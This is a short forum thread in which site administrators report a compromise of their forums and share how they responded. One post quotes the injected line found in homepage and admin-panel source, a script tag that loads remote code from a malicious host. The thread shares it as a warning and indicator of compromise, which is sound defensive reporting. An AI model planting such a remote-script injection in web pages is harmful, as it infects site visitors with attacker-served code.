New Host/Server Attack: holasionweb_dot_com/oo.php/kneber

[TalkBaja]

Unsure if this is the right place to post, but wanted to get the word out.

Yesterday early am, our site was compromised; found this line twice in both homepage and AdminCP source

<scrypt src="http://holasionweb.com/oo.php"></crypt>

Here's a rundown on it.

http://www.google.com/webhp?hl=en&lr...6855c3d75b296f

There is quite a bit of suspicion/speculation that it's a provider/server issue; possibly using phpMyAdmin.

Malicious website registered 5 days ago using this email.

[Jedito]

You may want to check your computer too, for possible virus/trojans.

[Gangkai]

My sites were affected too. However, since it was the second attack, I had prepared and could restore my site and fixed it in two minutes after the attack.

After the first round of attack on my site I developed a small script that will tell me my php files have been tampered with as soon as something happens. So, I guess none of my forum users did notice the attack this time.